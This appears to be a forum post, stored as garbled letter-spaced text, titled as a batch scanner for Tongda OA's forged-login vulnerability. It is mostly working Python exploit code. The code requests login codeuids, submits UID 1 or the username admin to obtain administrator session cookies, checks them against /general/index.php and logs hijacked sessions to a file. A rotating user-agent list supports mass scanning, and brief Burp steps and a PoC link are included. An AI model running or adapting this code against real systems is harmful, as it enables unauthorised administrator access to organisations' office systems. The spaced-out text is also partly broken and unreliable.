[28276] 2020-04-28_通达OA前台任意用户伪造登录漏洞批量检测

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2020-04-28_通达OA前台任意用户伪造登录漏洞批量检测 O A   O t s   2 0 2 0 - 0 4 - 2 8   O A 2 0 2 0 0 4 1 7 O A V 1 1     O A   < 1 1 . 5 . 2 0 0 4 1 7     1 1 . 5 d e f   h t t p _ r e q u e s t ( u r l , s e s s i o n _ i d ) :         t r y :                 # p r i n t ( 1 1 1 1 1 1 1 1 1 1 )                 p a y l o a d   =   r ' / g e n e r a l / i n d e x . p h p ? i s I E = 0 & m o d i f y _ p w d = 0 '                 p r i n t ( " T r y i n g : "   +   u r l   +   '   '   +   ' [ '   +   s t r ( l e f t )   +   ' / '   +   s t r ( c o u n t L i n e s )   +   ' ] ' )                 # v u l u r l   =   u r l   +   p a y l o a d                 # p r i n t ( v u l u r l )                 h e a d e r s = {                                 ' A c c e p t ' : ' * / * ' ,                                 ' A c c e p t - L a n g u a g e ' : ' e n ' ,                                 ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) ' ,                                 ' C o o k i e ' : s e s s i o n _ i d }                 # p r i n t ( h e a d e r s )                 i f   i n t ( u r l . s p l i t ( ' : ' ) [ 1 ] . s t r i p ( ' / ' ) )   = =   4 4 3 :                         u r l   =   " h t t p s : / / "   +   u r l . s p l i t ( ' : ' ) [ 0 ]                 e l s e :                         u r l   =   " h t t p : / / "   +   u r l . s p l i t ( ' : ' ) [ 0 ]   +   " : "   +   u r l . s p l i t ( ' : ' ) [ 1 ]                 v u l u r l   =   u r l   +   p a y l o a d                 p r i n t ( v u l u r l )                 r   =   r e q u e s t s . g e t ( u r l = v u l u r l ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 1 0 ,   v e r i f y =   F a l s e )                 i f   r . s t a t u s _ c o d e   = =   2 0 0   a n d   ' u s e r _ i d '   i n   r . t e x t :                         p r i n t ( c o l o r e d ( " [ * * * * * * ] "   +   ' G o o d   F o u n d ! '   +   ' n '   +   u r l , " g r e e n " ) )                         # p r i n t G r e e n ( " [ + ] "   +   u r l )                         # p r i n t ( r . t e x t )                         w i t h   o p e n ( p a t h _ o u t , ' a ' )   a s   f :                                 f . w r i t e ( v u l u r l   +   '   '   +   s e s s i o n _ i d   +   ' n ' )                         c h e c k   =   1                         r e t u r n   c h e c k                 e l s e :                         p r i n t ( " [ - ] "   +   " r . s t a t u s _ c o d e : "   +   s t r ( r . s t a t u s _ c o d e )   +   " , "   +   " r a i s e . t e x t : "   +   r . t e x t )         e x c e p t   E x c e p t i o n   a s   e r r :                 p r i n t ( e r r ) U S E R _ A G E N T S   =   [         " M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   6 . 0 ;   W i n d o w s   N T   5 . 1 ;   S V 1 ;   A c o o B r o w s e r ;   . N E T   C L R   1 . 1 . 4 3 2 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ) " ,         " M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   7 . 0 ;   W i n d o w s   N T   6 . 0 ;   A c o o   B r o w s e r ;   S L C C 1 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ;   M e d i a   C e n t e r   P C   5 . 0 ;   . N E T   C L R   3 . 0 . 0 4 5 0 6 ) " ,         " M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   7 . 0 ;   A O L   9 . 5 ;   A O L B u i l d   4 3 3 7 . 3 5 ;   W i n d o w s   N T   5 . 1 ;   . N E T   C L R   1 . 1 . 4 3 2 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ) " ,         " M o z i l l a / 5 . 0   ( W i n d o w s ;   U ;   M S I E   9 . 0 ;   W i n d o w s   N T   9 . 0 ;   e n - U S ) " ,         " M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ;   . N E T   C L R   3 . 5 . 3 0 7 2 9 ;   . N E T   C L R   3 . 0 . 3 0 7 2 9 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ;   M e d i a   C e n t e r   P C   6 . 0 ) " ,         " M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   8 . 0 ;   W i n d o w s   N T   6 . 0 ;   T r i d e n t / 4 . 0 ;   W O W 6 4 ;   T r i d e n t / 4 . 0 ;   S L C C 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ;   . N E T   C L R   3 . 5 . 3 0 7 2 9 ;   . N E T   C L R   3 . 0 . 3 0 7 2 9 ;   . N E T   C L R   1 . 0 . 3 7 0 5 ;   . N E T   C L R   1 . 1 . 4 3 2 2 ) "         " M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   7 . 0 b ;   W i n d o w s   N T   5 . 2 ;   . N E T   C L R   1 . 1 . 4 3 2 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ;   I n f o P a t h . 2 ;   . N E T   C L R   3 . 0 . 0 4 5 0 6 . 3 0 ) " ,         " M o z i l l a / 5 . 0   ( W i n d o w s ;   U ;   W i n d o w s   N T   5 . 1 ;   z h - C N )   A p p l e W e b K i t / 5 2 3 . 1 5   ( K H T M L ,   l i k e   G e c k o ,   S a f a r i / 4 1 9 . 3 )   A r o r a / 0 . 3   ( C h a n g e :   2 8 7   c 9 d f b 3 0 ) " ,         " M o z i l l a / 5 . 0   ( X 1 1 ;   U ;   L i n u x ;   e n - U S )   A p p l e W e b K i t / 5 2 7 +   ( K H T M L ,   l i k e   G e c k o ,   S a f a r i / 4 1 9 . 3 )   A r o r a / 0 . 6 " ,         " M o z i l l a / 5 . 0   ( W i n d o w s ;   U ;   W i n d o w s   N T   5 . 1 ;   e n - U S ;   r v : 1 . 8 . 1 . 2 p r e )   G e c k o / 2 0 0 7 0 2 1 5   K - N i n j a / 2 . 1 . 1 " ,         " M o z i l l a / 5 . 0   ( W i n d o w s ;   U ;   W i n d o w s   N T   5 . 1 ;   z h - C N ;   r v : 1 . 9 )   G e c k o / 2 0 0 8 0 7 0 5   F i r e f o x / 3 . 0   K a p i k o / 3 . 0 " ,         " M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   i 6 8 6 ;   U ; )   G e c k o / 2 0 0 7 0 3 2 2   K a z e h a k a s e / 0 . 4 . 5 " ,         " M o z i l l a / 5 . 0   ( X 1 1 ;   U ;   L i n u x   i 6 8 6 ;   e n - U S ;   r v : 1 . 9 . 0 . 8 )   G e c k o   F e d o r a / 1 . 9 . 0 . 8 - 1 . f c 1 0   K a z e h a k a s e / 0 . 5 . 6 " ,         " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 5 . 1 1   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 1 7 . 0 . 9 6 3 . 5 6   S a f a r i / 5 3 5 . 1 1 " ,         " M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 7 _ 3 )   A p p l e W e b K i t / 5 3 5 . 2 0   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 1 9 . 0 . 1 0 3 6 . 7   S a f a r i / 5 3 5 . 2 0 " ,         " O p e r a / 9 . 8 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 6 . 8 ;   U ;   f r )   P r e s t o / 2 . 9 . 1 6 8   V e r s i o n / 1 1 . 5 2 " ,         " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 6 . 1 1   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 2 0 . 0 . 1 1 3 2 . 1 1   T a o B r o w s e r / 2 . 0   S a f a r i / 5 3 6 . 1 1 " ,         " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 1   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 2 1 . 0 . 1 1 8 0 . 7 1   S a f a r i / 5 3 7 . 1   L B B R O W S E R " ,         " M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W O W 6 4 ;   T r i d e n t / 5 . 0 ;   S L C C 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ;   . N E T   C L R   3 . 5 . 3 0 7 2 9 ;   . N E T   C L R   3 . 0 . 3 0 7 2 9 ;   M e d i a   C e n t e r   P C   6 . 0 ;   . N E T 4 . 0 C ;   . N E T 4 . 0 E ;   L B B R O W S E R ) "         " M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   6 . 0 ;   W i n d o w s   N T   5 . 1 ;   S V 1 ;   Q Q D o w n l o a d   7 3 2 ;   . N E T 4 . 0 C ;   . N E T 4 . 0 E ;   L B B R O W S E R ) " ,         " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 5 . 1 1   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 1 7 . 0 . 9 6 3 . 8 4   S a f a r i / 5 3 5 . 1 1   L B B R O W S E R " ,         " M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   7 . 0 ;   W i n d o w s   N T   6 . 1 ;   W O W 6 4 ;   T r i d e n t / 5 . 0 ;   S L C C 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ;   . N E T   C L R   3 . 5 . 3 0 7 2 9 ;   . N E T   C L R   3 . 0 . 3 0 7 2 9 ;   M e d i a   C e n t e r   P C   6 . 0 ;   . N E T 4 . 0 C ;   . N E T 4 . 0 E ) "         " M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W O W 6 4 ;   T r i d e n t / 5 . 0 ;   S L C C 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ;   . N E T   C L R   3 . 5 . 3 0 7 2 9 ;   . N E T   C L R   3 . 0 . 3 0 7 2 9 ;   M e d i a   C e n t e r   P C   6 . 0 ;   . N E T 4 . 0 C ;   . N E T 4 . 0 E ;   Q Q B r o w s e r / 7 . 0 . 3 6 9 8 . 4 0 0 ) "         " M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   6 . 0 ;   W i n d o w s   N T   5 . 1 ;   S V 1 ;   Q Q D o w n l o a d   7 3 2 ;   . N E T 4 . 0 C ;   . N E T 4 . 0 E ) " ,         " M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   7 . 0 ;   W i n d o w s   N T   5 . 1 ;   T r i d e n t / 4 . 0 ;   S V 1 ;   Q Q D o w n l o a d   7 3 2 ;   . N E T 4 . 0 C ;   . N E T 4 . 0 E ;   3 6 0 S E ) " ,         " M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   6 . 0 ;   W i n d o w s   N T   5 . 1 ;   S V 1 ;   Q Q D o w n l o a d   7 3 2 ;   . N E T 4 . 0 C ;   . N E T 4 . 0 E ) " ,         " M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   7 . 0 ;   W i n d o w s   N T   6 . 1 ;   W O W 6 4 ;   T r i d e n t / 5 . 0 ;   S L C C 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ;   . N E T   C L R   3 . 5 . 3 0 7 2 9 ;   . N E T   C L R   3 . 0 . 3 0 7 2 9 ;   M e d i a   C e n t e r   P C   6 . 0 ;   . N E T 4 . 0 C ;   . N E T 4 . 0 E ) "         " M o z i l l a / 5 . 0   ( W i n d o w s   N T   5 . 1 )   A p p l e W e b K i t / 5 3 7 . 1   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 2 1 . 0 . 1 1 8 0 . 8 9   S a f a r i / 5 3 7 . 1 " ,         " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 1   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 2 1 . 0 . 1 1 8 0 . 8 9   S a f a r i / 5 3 7 . 1 " ,         " M o z i l l a / 5 . 0   ( i P a d ;   U ;   C P U   O S   4 _ 2 _ 1   l i k e   M a c   O S   X ;   z h - c n )   A p p l e W e b K i t / 5 3 3 . 1 7 . 9   ( K H T M L ,   l i k e   G e c k o )   V e r s i o n / 5 . 0 . 2   M o b i l e / 8 C 1 4 8   S a f a r i / 6 5 3 3 . 1 8 . 5 " ,         " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   r v : 2 . 0 b 1 3 p r e )   G e c k o / 2 0 1 1 0 3 0 7   F i r e f o x / 4 . 0 b 1 3 p r e " ,         " M o z i l l a / 5 . 0   ( X 1 1 ;   U b u n t u ;   L i n u x   x 8 6 _ 6 4 ;   r v : 1 6 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 1 6 . 0 " ,         " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 1 1   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 2 3 . 0 . 1 2 7 1 . 6 4   S a f a r i / 5 3 7 . 1 1 " ,         " M o z i l l a / 5 . 0   ( X 1 1 ;   U ;   L i n u x   x 8 6 _ 6 4 ;   z h - C N ;   r v : 1 . 9 . 2 . 1 0 )   G e c k o / 2 0 1 0 0 9 2 2   U b u n t u / 1 0 . 1 0   ( m a v e r i c k )   F i r e f o x / 3 . 6 . 1 0 " ] h e a d e r s = { }
  1 g e t S E S S I O N I D C o o k i e S E S S I O N I D a d m i n   2 S E S S I O N I D O A 使 O A 2 0 1 7 V 1 1 . X < V 1 1 . 5 使 S E S S I O N I D 3 线 使 b u r p s u i t e r e p e a t e r : :   1 . / g e n e r a l / i n d e x . p h p   2 . p o c P H P S E S S I D   3 .   e n c o d e _ t y p e = 1   U I D = 1   O A   : P O C h t t p s : / / g i t h u b . c o m / N S - S p 4 c e / T o n g D a O A - F a k e - U s e r h e a d e r s = { } d e f   g e t V 1 1 S e s s i o n ( u r l ) :         c h e c k U r l   =   u r l + ' / g e n e r a l / l o g i n _ c o d e . p h p '         t r y :                 h e a d e r s [ " U s e r - A g e n t " ]   =   c h o i c e ( U S E R _ A G E N T S )                 r e s   =   r e q u e s t s . g e t ( c h e c k U r l , h e a d e r s = h e a d e r s )                 r e s T e x t   =   s t r ( r e s . t e x t ) . s p l i t ( ' { ' )                 c o d e U i d   =   r e s T e x t [ - 1 ] . r e p l a c e ( ' } " } ' ,   ' ' ) . r e p l a c e ( ' r n ' ,   ' ' )                 g e t S e s s U r l   =   u r l + ' / l o g i n c h e c k _ c o d e . p h p '                 r e s   =   r e q u e s t s . p o s t (                         g e t S e s s U r l ,   d a t a = { ' C O D E U I D ' :   ' { ' + c o d e U i d + ' } ' ,   ' U I D ' :   i n t ( 1 ) } , h e a d e r s = h e a d e r s )                 p r i n t ( ' [ + ] G e t   A v a i l a b l e   C O O K I E : ' + r e s . h e a d e r s [ ' S e t - C o o k i e ' ] )                 r e t u r n   r e s . h e a d e r s [ ' S e t - C o o k i e ' ]         e x c e p t :                 p r i n t ( ' [ - ] S o m e t h i n g   W r o n g   W i t h   ' + u r l ) d e f   g e t 2 0 1 7 S e s s i o n ( u r l ) :         c h e c k U r l   =   u r l + ' / i s p i r i t / l o g i n _ c o d e . p h p '         t r y :                 h e a d e r s [ " U s e r - A g e n t " ]   =   c h o i c e ( U S E R _ A G E N T S )                 r e s   =   r e q u e s t s . g e t ( c h e c k U r l , h e a d e r s = h e a d e r s )                 r e s T e x t   =   j s o n . l o a d s ( r e s . t e x t )                 c o d e U i d   =   r e s T e x t [ ' c o d e u i d ' ]                 c o d e S c a n U r l   =   u r l + ' / g e n e r a l / l o g i n _ c o d e _ s c a n . p h p '                 r e s   =   r e q u e s t s . p o s t ( c o d e S c a n U r l ,   d a t a = { ' c o d e u i d ' :   c o d e U i d ,   ' u i d ' :   i n t (                         1 ) ,   ' s o u r c e ' :   ' p c ' ,   ' t y p e ' :   ' c o n f i r m ' ,   ' u s e r n a m e ' :   ' a d m i n ' } , h e a d e r s = h e a d e r s )                 r e s T e x t   =   j s o n . l o a d s ( r e s . t e x t )                 s t a t u s   =   r e s T e x t [ ' s t a t u s ' ]                 i f   s t a t u s   = =   s t r ( 1 ) :                         g e t C o d e U i d U r l   =   u r l + ' / i s p i r i t / l o g i n _ c o d e _ c h e c k . p h p ? c o d e u i d = ' + c o d e U i d                         r e s   =   r e q u e s t s . g e t ( g e t C o d e U i d U r l )                         p r i n t ( ' [ + ] G e t   A v a i l a b l e   C O O K I E : ' + r e s . h e a d e r s [ ' S e t - C o o k i e ' ] )                         r e t u r n   r e s . h e a d e r s [ ' S e t - C o o k i e ' ]                 e l s e :                         p r i n t ( ' [ - ] S o m e t h i n g   W r o n g   W i t h   ' + u r l )         e x c e p t :                 p r i n t ( ' [ - ] S o m e t h i n g   W r o n g   W i t h   ' + u r l ) d e f   g e t _ s e s s i o n _ l i s t s ( u r l ) :         # u r l   =   a r g s . t a r g e t u r l         s e s s i o n _ l i s t   =   [ ]         c h o i c e s = [ 1 1 ,   2 0 1 7 ]         i f   ' h t t p : / / '   n o t   i n   u r l :                 u r l   =   ' h t t p : / / '   +   u r l         f o r   v e r s i o n   i n   c h o i c e s :                 i f   v e r s i o n   = =   1 1 :                         # g e t V 1 1 S e s s i o n ( u r l )                         s e s s i o n _ l i s t . a p p e n d ( g e t V 1 1 S e s s i o n ( u r l ) )                 e l i f   v e r s i o n   = =   2 0 1 7 :                         # g e t 2 0 1 7 S e s s i o n ( u r l )                         s e s s i o n _ l i s t . a p p e n d ( g e t 2 0 1 7 S e s s i o n ( u r l ) )         p r i n t ( s e s s i o n _ l i s t )         r e t u r n   s e s s i o n _ l i s t

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则